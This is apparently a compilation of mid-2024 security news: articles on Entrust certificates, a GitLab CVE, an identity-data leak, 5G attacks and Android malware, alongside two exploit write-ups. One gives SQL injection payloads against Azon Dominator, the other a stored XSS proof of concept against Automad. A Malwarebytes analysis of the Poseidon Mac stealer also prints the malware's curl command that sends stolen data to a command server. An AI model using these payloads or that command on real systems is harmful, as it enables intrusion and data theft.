Azon Dominator Affiliate Marketing Script suffers from a remote SQL injection vulnerability.

    # Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection# Date: 2024-06-03# Exploit Author: Buğra Enis Dönmez# Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script# Demo Site: https://azon-dominator.webister.net/# Tested on: Arch Linux# CVE: N/A### Request ###POST /fetch_products.php HTTP/1.1Content-Type: application/x-www-form-urlencodedAccept: */*x-requested-with: XMLHttpRequestReferer: https://localhost/Cookie: PHPSESSID=crlcn84lfvpe8c3732rgj3gegg; sc_is_visitor_unique=rx12928762.1717438191.4D4FA5E53F654F9150285A1CA42E7E22.8.8.8.8.8.8.8.8.8Content-Length: 79Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: localhostConnection: Keep-alivecid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112###### Parameter & Payloads ###Parameter: cid (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: cid=1) AND 7735=7735 AND (5267=5267    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: cid=1) AND (SELECT 7626 FROM (SELECT(SLEEP(5)))yOxS) AND (8442=8442###

Azon Dominator Affiliate Marketing Script SQL Injection

Google has announced that it's going to start blocking websites that use certificates from Entrust starting around November 1, 2024, in its Chrome browser, citing compliance failures and the certificate authority's inability to address security issues in a timely manner.
"Over the past several years, publicly disclosed incident reports highlighted a pattern of concerning behaviors by Entrust

Cybersecurity / Website Security

Google has announced that it's going to start blocking websites that use certificates from Entrust starting around November 1, 2024, in its Chrome browser, citing compliance failures and the certificate authority's inability to address security issues in a timely manner.

"Over the past several years, publicly disclosed incident reports highlighted a pattern of concerning behaviors by Entrust that fall short of the above expectations, and has eroded confidence in their competence, reliability, and integrity as a publicly-trusted \[certificate authority\] owner," Google's Chrome security team said.

To that end, the tech giant said it intends to no longer trust TLS server authentication certificates from Entrust starting with Chrome browser versions 127 and higher by default. However, it said that these settings can be overridden by Chrome users and enterprise customers should they wish to do so.

Google further noted that certificate authorities play a privileged and trusted role in ensuring encrypted connections between browsers and websites, and that Entrust's lack of progress when it comes to publicly disclosed incident reports and unrealized improvement commitments poses risks to the internet ecosystem.

The blocking action is expected to cover Windows, macOS, ChromeOS, Android, and Linux versions of the browser. The notable exception is Chrome for iOS and iPadOS, due to Apple's policies that don't permit the Chrome Root Store from being used.

As a result, users navigating to a website that serves a certificate issued by Entrust or AffirmTrust will be greeted by an interstitial message that warns them that their connection is not secure and isn't private.

Affected website operators are urged to move to a publicly-trusted certificate authority owner to minimize disruption by October 31, 2024. According to Entrust's website, its solutions are used by Microsoft, Mastercard, VISA, and VMware, among others.

"While website operators could delay the impact of blocking action by choosing to collect and install a new TLS certificate issued from Entrust before Chrome's blocking action begins on November 1, 2024, website operators will inevitably need to collect and install a new TLS certificate from one of the many other CAs included in the Chrome Root Store," Google said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Google to Block Entrust Certificates in Chrome Starting November 2024

The company is urging users running vulnerable versions to patch CVE-2024-5655 immediately, to avoid CI/CD malfeasance.

Source: Bill Crump via Alamy Stock Photo

A critical GitLab vulnerability could allow an attacker to run a pipeline as another user.

GitLab is a popular Git repository, second only to GitHub, with millions of active users. This week, it released new versions of its Community (open source) and Enterprise Editions.

The updates include fixes for 14 different security issues, including cross site request forgery (CSRF), cross site scripting (XSS), denial of service (DoS), and more. One of the issues is deemed of low severity according to the Common Vulnerability Scoring System (CVSS), nine are of medium severity, and three are high — but there's also one critical bug with a CVSS score of 9.6 out of 10.

**CVE-2024-5655 Offers Critical Threat to Code Development**

That critical one, CVE-2024-5655, affects GitLab versions starting from 15.8 prior to 16.11.5, starting from 17.0 prior to 17.0.3, and starting from 17.1 prior to 17.1.1, according to the company. It enables an attacker to trigger a pipeline as another user, but only under circumstances which GitLab did not elaborate on (nor did it provide any other information about the vulnerability).

A pipeline automates the process of building, testing, and deploying code in GitLab. Theoretically, an attacker with the ability to run pipelines as other users can access their private repositories, and manipulate, steal, or exfiltrate sensitive code and data contained therein.

Unlike with CVE-2023-7028 — a 10 out of 10 account takeover bug known to have been exploited earlier this Spring — GitLab has thus far found no evidence of CVE-2024-5655 exploits in the wild. Though, that could quickly change.

**A Compliance Issue, Not Just Security**

 Issues rooted deep in the development process like CVE-2024-5655 can sometimes cause headaches beyond the simple risk they pose on paper.

"In a worst-case scenario, this vulnerability doesn't even have to be exploited to cost companies money in lost revenue," says Jamie Boote, associate principal consultant at Synopsys Software Integrity Group. The mere fact that a software or software-driven product was built using a vulnerable version of GitLab could itself be cause for concern.

"Pipeline vulnerabilities like this can not only pose a security risk but a regulatory and compliance risk as well. As US companies are working towards compliance with the Self-Attestation Form requirements that they need to meet to sell software and products to the US Government, not addressing this vulnerability could lead to a compliance gap which could put sales and contracts at risk," he explains. In particular, he points to line item 1c in Section III of the US Department of Commerce's Secure Software Development Attestation Form Instructions, which requires "Enforcing multi-factor authentication and conditional access across the environments relevant to developing and building software in a manner that minimizes security risk."

"Compliance with item 1c is in jeopardy for companies who don't address this vulnerability as an exploit would allow attackers to bypass those conditional access controls that companies are relying on for compliance," he concludes.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Critical GitLab Bug Threatens Software Development Pipelines

With many popular apps, users must hand over personal information to prove their identity, and the big downside is they have no control over how that information gets processed and stored.

Source: Pamela Au via Alamy Stock Photo

Swaths of personal data and documents belonging to users of the world's most popular apps have been exposed online for well over a year now, and may have leaked to cybercriminals a while ago.

The company responsible for the leak, AU10TIX, is based in a suburb of Tel Aviv and specializes in identity verification via personal documents, biometrics, and more. Its customers include major companies like X, TikTok, LinkedIn, Coinbase, eToro, PayPal, Fiverr, Upwork, Bumble, Uber, and others.

Recently, a security researcher discovered exposed credentials that belonged to a network operations center manager at AU10TIX. They included the manager's passwords and tokens for various accounts, including an AU10TIX logging platform, where the company handled data belonging to individuals whose identities it had vetted.

**The Extent of the Damage**

The logging platform data included names, birth dates, nationalities, and images of ID documents such as driver licenses and passports.

Though the researcher limited his snooping, some data fields appeared to indicate the nature and purpose of the stored data, such as a chart with values such as "Impersonation\_XCorp" and "uber-carshare-passport."

He also found proprietary data from the innards of the company's verification tech. One table, for example, contained results of live face scans, with a field rating the "probability" that the user's face was "live" on a scale from 0 to 1. Others measured the authenticity of documents and photos of faces.

Crucially, the exposed credentials seem to have been sucked up by malware back in December 2022, and posted to Telegram in March 2023.

In statements to 404media, AU10TIX initially claimed that "a thorough investigation determined that employee credentials were illegally accessed then and were promptly rescinded." When the publication informed the vendor that the credentials were still exposed online as of this month, 18 months after the fact, the company said it would work to take down the exposed logging system. It also claimed to have notified affected customers, and highlighted that "based on our current findings, we see no evidence that such data has been exploited."

**The Catch-22 for App Users**

Customers today are faced with an unfortunate choice (if it can even be considered a choice). Whether it be a cryptocurrency or payments, social media or dating, in order to use popular apps today, you often must hand over extra-sensitive information and documents that prove your identity. At the same time, you don't have any control over how that information and those documents are processed and stored.

Is there no way to achieve app security without a cost to personal security?

"Companies can adopt several methods for verifying identities that minimize the need to store sensitive documents and personally identifiable information," says Jason Soroko, senior vice president of product at Sectigo. "One approach is tokenization, which involves storing tokens or hashed values representing the documents instead of the actual documents. This reduces the risk in case the storage system is compromised."

"Another method uses zero-knowledge proofs, a cryptographic technique that allows one party to prove to another that they know a value without conveying any information beyond the fact that they know the value. "This can verify identity without exposing the actual data," Soroko explains. "Additionally, decentralized identity verification leverages blockchain technology, enabling users to control their identity information and share only the necessary parts with services that require verification, thereby enhancing privacy and security.

"These methods, while enhancing security and privacy, require careful implementation and ongoing management to avoid introducing new vulnerabilities."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Authenticator for X, TikTok Exposes Personal User Info for 18 Months

Wireless service providers prioritize uptime and lag time, occasionally at the cost of security, allowing attackers to take advantage, steal data, and worse.

Source: peter galleghan via Alamy Stock Photo

Mobile devices are at risk of wanton data theft and denial of service, thanks to vulnerabilities in 5G technologies.

At the upcoming Black Hat 2024 in Las Vegas, a team of seven Penn State University researchers will describe how hackers can go beyond sniffing your Internet traffic by literally providing your Internet connection to you. From there, spying, phishing, and plenty more are all on the table.

It's a remarkably accessible form of attack, they say, involving commonly overlooked vulnerabilities and equipment you can buy online for a couple of hundred dollars.

**Step 1: Set Up a Fake Base Station**

When a device first attempts to connect with a mobile network base station, the two undergo an authentication and key agreement (AKA). The device sends a registration request, and the station replies with requests for authentication and security checks.

Though the station vets the phone, the phone does not initially vet the station. Its legitimacy is essentially accepted as a given.

"Base stations advertise their presence in a particular area by broadcasting 'sib1' messages every 20 milliseconds, or 40 milliseconds, and none of those broadcast messages have authentication, or any kind of security mechanisms," explains Penn State assistant professor Syed Rafiul Hussain. "They're just plaintext messages. So there's no way that a phone or a device can check whether it's coming from a fake tower."

Setting up a fake tower isn't as tall a task as it might seem. You just need to mimic a real one using a software-defined radio (SDR). As Kai Tu, another Penn State research assistant points out, "People can purchase them online — they're easy to get. Then you can get some open source software (OSS) to run on it, and this kind of setup can be used as a fake base station." Expensive SDRs might cost tens of thousands of dollars, but cheap ones that get the job done are available for only a few hundred.

It might seem counterintuitive that a small contraption could seduce your phone away from an established commercial tower. But a targeted attack with a nearby SDR could provide even greater 5G signal strength than a tower servicing thousands of other people at the same time. "By their nature, devices try to connect to the best possible cell towers — that is, the ones providing the highest signal strength," Hussain says.

**Step 2: Exploit a Vulnerability**

Like any security process, AKA can be exploited. In the 5G modem integrated in one popular brand of mobile processor, for example, the researchers found a mishandled security header that an attacker could use to bypass the AKA process entirely.

This processor in question is used in the majority of devices manufactured by two of the world's biggest smartphone companies. Dark Reading has agreed to keep its name confidential.

After having attracted a targeted device, an attacker could use this AKA bypass to return a maliciously crafted "registration accept" message and initiate a connection. At this point the attacker becomes the victim's Internet service provider, capable of seeing everything they do on the Web in unencrypted form. They can also engage the victim by, for example, sending a spear phishing SMS message, or redirecting them to malicious sites.

Though AKA bypass was the most severe, the researchers discovered other vulnerabilities that would allow them to determine a device's location, and perform denial of service (DoS).

**How to Secure 5G**

The Penn State researchers have reported all the vulnerabilities they discovered to their respective mobile vendors, which have all since deployed patches.

A more permanent solution, however, would have to begin with securing 5G authentication. As Hussain says, "If you want to ensure the authenticity of these broadcast messages, you need to use public key infrastructure (PKI). And deploying PKI is expensive — you need to update all of the cell towers. And there are some non-technical challenges. For example, who will be the root certificate authority of the public keys?"

It's unlikely that such an overhaul will happen any time soon, as 5G systems were knowingly built to transmit messages in plaintext for specific reasons.

"It's a matter of incentives. Messages are sent in milliseconds, so if you incorporate some kind of cryptographic mechanism, it will increase the computational overhead for the cell tower and for the user device. Computational overhead is also associated with time, so performance-wise it will be a bit slower," Hussain explains.

Perhaps the performance incentives outweigh security ones. But whether it be via a fake cell tower, Stingray device, or any other means, "They all exploit this feature — the lack of authentication of the initial broadcast messages from the cell towers."

"This is the root of all evil," Hussain adds.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Your Phone's 5G Connection Is Vulnerable to Bypass, DoS Attacks

A competitor of the infamous Atomic Stealer targeting Mac users, has just launched a new campaign to lure in more victims.

On June 24, we observed a new campaign distributing a stealer targeting Mac users via malicious Google ads for the Arc browser. This is the second time in the past couple of months where we see Arc being used as a lure, certainly a sign of its popularity. It was previously used to drop a Windows RAT, also via Google ads.

The macOS stealer being dropped in this latest campaign is actively being developed as an Atomic Stealer competitor, with a large part of its code base being the same as its predecessor. Malwarebytes was previously tracking this payload as **OSX.RodStealer**, in reference to its author, Rodrigo4. The threat actor rebranded the new project ‘Poseidon’ and added a few new features such as looting VPN configurations.

In this blog post, we review the advertisement of the new Poseidon campaign from the cyber crime forum announcement, to the distribution of the new Mac malware via malvertising.

**Rodrigo4 launches new PR campaign**

A threat actor known by his handle as Rodrigo4 in the XSS underground forum has been working on a stealer with similar features and code base as the notorious Atomic Stealer (AMOS). The service consists of a malware panel with statistics and a builder with custom name, icon and AppleScript. The stealer offers functionalities reminescent of Atomic Stealer including: file grabber, crypto wallet extractor, password manager (Bitwarden, KeePassXC) stealer, and browser data collector.

In a post last edited on Sunday, June 23, Rodrigo4 announced a new branding for their project:

Forum post by Rodrigo4 on XSS

Hello everyone, we have released the V4 update and there are quite a lot of new things.  
The very first thing that catches your eye is the name of the project: Poseidon. Why is that? For PR management. In simple words, people didn’t know who we were.

Malware authors do need publicity, but we will try to stick to the facts and what we have observed in active malware delivery campaigns.

**Distribution via Google ads**

We saw an ad for the Arc browser belonging to ‘Coles & Co’, linking to the domain name _arcthost\[.\]org_:

Malicious ad for Arc browser via Google search

People who clicked on the ad were redirected to _arc-download\[.\]com_, a completely fake site offering Arc for Mac only:

Decoy website for Arc

The downloaded DMG file resembles what one would expect when installing a new Mac application with the exception of the right-click to open trick to bypass security protections:

Malicious Arc DMG installer

**Connection to new Poseidon project**

The new “Poseidon” stealer contains unfinished code that was seen by others, and also recently advertised to steal VPN configurations from Fortinet and OpenVPN:

Excerpt from forum post featuring new VPN capability

More interesting is the data exfiltration which is revealed in the following command:

set result\_send to (do shell script \\"curl -X POST -H \\\\\\"uuid: 399122bdb9844f7d934631745e22bd06\\\\\\" -H \\\\\\"user: H1N1\_Group\\\\\\" -H \\\\\\"buildid: id777\\\\\\" --data-binary @/tmp/out.zip http:// 79.137.192\[.\]4/p2p\\")

Navigating to this IP address reveals the new Poseidon branded panel:

Poseidon panel login page

**Conclusion**

There is an active scene for Mac malware development focused on stealers. As we can see in this post, there are many contributing factors to such a criminal enterprise. The vendor needs to convince potential customers that their product is feature-rich and has low detection from antivirus software.

Seeing campaigns distributing the new malware payload confirms that the threat is real and actively targeting new victims. Staying protected against these threats requires vigilance any time you download and install a new app.

Malwarebytes for Mac detects this this ‘Poseidon campaign as _**OSX.RodStealer**_ and we have already shared information related to the malicious ad with Google. We highly recommend using web protection that blocks ads and malicious websites as your first line of defense. Malwarebytes Browser Guard does both effectively.

**Indicators of Compromise**

Google ad domain

arcthost\[.\]org

Decoy site

arc-download\[.\]com

Download URL

zestyahhdog\[.\]com/Arc12645413\[.\]dmg

Payload SHA256

c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05

C2

79.137.192\[.\]4/p2p

 &#8216;Poseidon&#8217; Mac stealer distributed via Google ads 

The vulnerability affects not only AirPods, but also AirPods Max, Powerbeats Pro, Beats Fit Pro, and all models of AirPods Pro.

Source: Hoor Aloraidh via Alamy Stock Photo

Apple released its latest firmware update for its AirPods products to address a vulnerability that could give a threat actor unauthorized access.

The vulnerability is tracked as CVE-2024-27867 and affects AirPods (second generation and later) and AirPods Pro (all models), as well as AirPods Max, Powerbeats Pro, and Beats Fit Pro.

"When your headphones are seeking a connection request to one of your previously paired devices, an attacker in Bluetooth range might be able to spoof the intended source device and gain access to your headphones," reported Apple in an advisory.

To fix for the issue, Apple said that an "authentication issue was addressed with improved state management" in AirPods firmware update 6A326, AirPods firmware update 6F8, and Beats firmware update 6F8. These firmware updates are automatically delivered to a user's device while the headphones or AirPods are in Bluetooth range of an iPhone, iPad, or Mac.

Apple credited Jonas Dreßler for the discovery of the flaw as with well as reporting the bug to the company.

**About the Author(s)**

Apple AirPods Bug Allows Eavesdropping

Automad version 2.0.0-alpha.4 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)# Date: 20-06-2024# Exploit Author: Jerry Thomas (w3bn00b3r)# Vendor Homepage: https://automad.org# Software Link: https://github.com/marcantondahmen/automad# Category: Web Application [Flat File CMS]# Version: 2.0.0-alpha.4# Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU/Linux 11(bullseye)# DescriptionA persistent (stored) cross-site scripting (XSS) vulnerability has beenidentified in Automad 2.0.0-alpha.4. This vulnerability enables an attackerto inject malicious JavaScript code into the template body. The injectedcode is stored within the flat file CMS and is executed in the browser ofany user visiting the forum. This can result in session hijacking, datatheft, and other malicious activities.# Proof-of-Concept*Step-1:* Login as Admin & Navigate to the endpointhttp://localhost/dashboard/home*Step-2:* There will be a default Welcome page. You will find an option toedit it.*Step-3:* Navigate to Content tab orhttp://localhost/dashboard/page?url=%2F&section=text & edit the block named***`Main`****Step-4:* Enter the XSS Payload - <img src=x onerror=alert(1)>*Request:*POST /_api/page/data HTTP/1.1Host: localhostContent-Length: 1822User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCvAccept: */*Origin: http://localhostReferer: http://localhost/dashboard/page?url=%2F&section=textAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie:Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cbConnection: close------WebKitFormBoundaryzHmXQBdtZsTYQYCvContent-Disposition: form-data; name="__csrf__"49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1------WebKitFormBoundaryzHmXQBdtZsTYQYCvContent-Disposition: form-data; name="__json__"{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testingforxss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSSidentified byJerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"Youhave successfully installed Automad 2.<br><br><img src=xonerror=alert(1)><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"VisitDashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}------WebKitFormBoundaryzHmXQBdtZsTYQYCv--*Response:*HTTP/1.1 200 OKServer: nginx/1.24.0Date: Thu, 20 Jun 2024 19:17:35 GMTContent-Type: application/json; charset=utf-8Connection: closeX-Powered-By: PHP/8.3.6Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 30`{"code":200,"time":1718911055}*Step-5:* XSS triggers when you go to homepage - http://localhost/

Automad 2.0.0-alpha.4 Cross Site Scripting

As cybersecurity's cat-and-mouse game starts to look more like Tom and Jerry, attackers develop a method for undermining Android app security with no obvious fix.

Source: Frank Herholdt via Alamy Stock Photo

Hackers from Southeast Asia have turned Android's own best application security mechanism against itself, severing the link between kernel and application in order to perform any kind of tampering they wish.

This method is being employed by new malware called "Snowblind," which targets at least one banking app in Southeast Asia. Snowblind works by abusing the ubiquitous and otherwise sterling Linux security feature "seccomp" — short for "secure computing" — in order to trap and modify system calls in transit, in effect isolating an application from the protocols and information it needs to detect malicious tampering.

"In security, nothing is bulletproof," says Jan Vidar Krey, vice president of engineering at Promon, lamenting the weaponization of such a core Android security feature. "Everything can be circumvented to some extent, which is a harsh, brutal way of looking at it, but that's the reality."

**The Android Anti-Tampering Cat & Mouse Game**

As Promon describes in its report on Snowblind, the most common way hackers undermine Android devices is by tricking users into granting them accessibility permissions, which they can use to various malicious ends.

Because this is so common, though, experienced developers already know how to account for it. For example, apps can query the operating system to check for untrusted accessibility services, and then react accordingly, as Promon discusses in its report.

Attackers, for their part, can try to identify and sabotage the parts of an app's code that do that job by "repackaging" them — downloading, modifying, and re-uploading malicious versions of legitimate apps.

To prevent repackaging, developers can be proactive by protecting their code with obfuscation, or they can be reactive by opening an app's Android package (APK) file on disk and reviewing its contents.

Attackers have their own methods for concealing their malicious repackaging, though. For example, they can hook into that anti-tampering file reading process and redirect it to an unmodified version of the same app. But developers know about and can account for that as well by implementing the necessary system calls in native libraries rather than the C standard library.

So at this point, forced into a corner, attackers needed a new way of preventing secured apps from detecting their tampering.

**Snowblind's Anti- Anti-Tampering**

Snowblind — the next evolution in this grand game — tries something new. It puts its focus not on accessibility services per se, or the app's code, but the seccomp security feature in between.

"This seccomp mechanism is the foundation of everything that you're seeing in the cloud today," Krey notes. In addition to Android — since version 8.0 Oreo — it's used by containerization technologies like Docker (by default) and Kubernetes, Chromium browsers, and more.

It works by sandboxing applications, allowing or blocking calls they might make to the operating system as defined by a system administrator. But these days, Krey explains, "What we're seeing with Android is that malware is using these same security tricks to prevent an application from seeing what's actually going on on the rest of the system. And basically just showing it what the attacker wants it to see."

First, Snowblind repackages an app with a library that will be loaded before any anti-tampering mechanisms can run. This library includes a seccomp "filter," which looks out for a very select few system calls — like "open()", used for opening files or other resources — and traps them. Before allowing the call to be executed, it uses a signal handler to modify it, pointing it to a file that's the original, unmodified version of the app.

In other words, like a little man in the middle of the device, the malware traps and misdirects the signals an app needs to know whether it has been tampered with.

**No Perfect Solutions**

Having fully isolated an app, a banking Trojan can freely use accessibility services to perform any number of malicious actions on a device: steal and exfiltrate credentials, intercept two-factor authentication (2FA) codes, and disable further application security features, among other functions.

And, Promon noted, Snowblind's strategy can be used to do more than just defeat anti-tampering on Android phones. In cloud or containerized environments, Chromium browsers, or any other type of system relying on seccomp, it can, in theory, be used to trace and manipulate any code that relies on system calls, for whatever reason.

How will defenders respond, then? For Krey, there isn't any obvious seccomp-oriented fix, as it's so crucial to protecting these systems in the first place. "Seccomp is an integral part of lots of different applications," he explains, "so I don't really know how they would fix it. And I don't really see that they should fix it, to be honest. It's kind of a paradoxical thing."

Instead, Google and its customers can focus on shunning maliciously repackaged apps before they're downloaded. "In Southeast Asia, we believe these types of apps have likely spread outside of the official app stores. This has almost certainly been achieved via social engineering attacks, a still very prevalent and widely reported method of duping less tech-savvy users. And fake malicious apps still make their way onto major app stores," he explains. "With this in mind, a stronger policing of the Play Store and tighter verification process for uploaded apps would mitigate the spread of Snowblind."

Google, for its part, appears unfazed. In a statement to Dark Reading, a company spokesperson claimed that the company already knew about Snowblind before Promon's report. "Based on our current detection, no apps containing this malware are found on Google Play. Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services. Google Play Protect can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play," Google said in its statement.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

'Snowblind' Tampering Technique May Drive Android Users Adrift

Apple has released a firmware update for AirPods that could allow a malicious actor to gain access to the headphones in an unauthorized manner.
Tracked as CVE-2024-27867, the authentication issue affects AirPods (2nd generation and later), AirPods Pro (all models), AirPods Max, Powerbeats Pro, and Beats Fit Pro.
"When your headphones are seeking a connection request to one of your previously

Firmware Security / Vulnerability

Apple has released a firmware update for AirPods that could allow a malicious actor to gain access to the headphones in an unauthorized manner.

Tracked as CVE-2024-27867, the authentication issue affects AirPods (2nd generation and later), AirPods Pro (all models), AirPods Max, Powerbeats Pro, and Beats Fit Pro.

"When your headphones are seeking a connection request to one of your previously paired devices, an attacker in Bluetooth range might be able to spoof the intended source device and gain access to your headphones," Apple said in a Tuesday advisory.

In other words, an adversary in physical proximity could exploit the vulnerability to eavesdrop on private conversations. Apple said the issue has been addressed with improved state management.

Jonas Dreßler has been credited with discovering and reporting the flaw. It has been patched as part of AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8.

The development comes two weeks after the iPhone maker rolled out updates for visionOS (version 1.2) to close out 21 shortcomings, including seven flaws in the WebKit browser engine.

One of the issues pertains to a logic flaw (CVE-2024-27812) that could result in a denial-of-service (DoS) when processing web content. The problem has been fixed with improved file handling, it said.

Security researcher Ryan Pickren, who reported the vulnerability, described it as the "world's first spatial computing hack" that could be weaponized to "bypass all warnings and forcefully fill your room with an arbitrary number of animated 3D objects" sans user interaction.

The vulnerability takes advantage of Apple's failure to apply the permissions model when using the ARKit Quick Look feature to spawn 3D objects in a victim's room. Making matters worse, these animated objects continue to persist even after exiting Safari as they are handled by a separate application.

"Furthermore, it does not even require this anchor tag to have been 'clicked' by the human," Pickren said. "So programmatic JavaScript clicking (i.e., document.querySelector('a').click()) works no problem! This means that we can launch an arbitrary number of 3D, animated, sound-creating, objects without any user interaction whatsoever."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#apple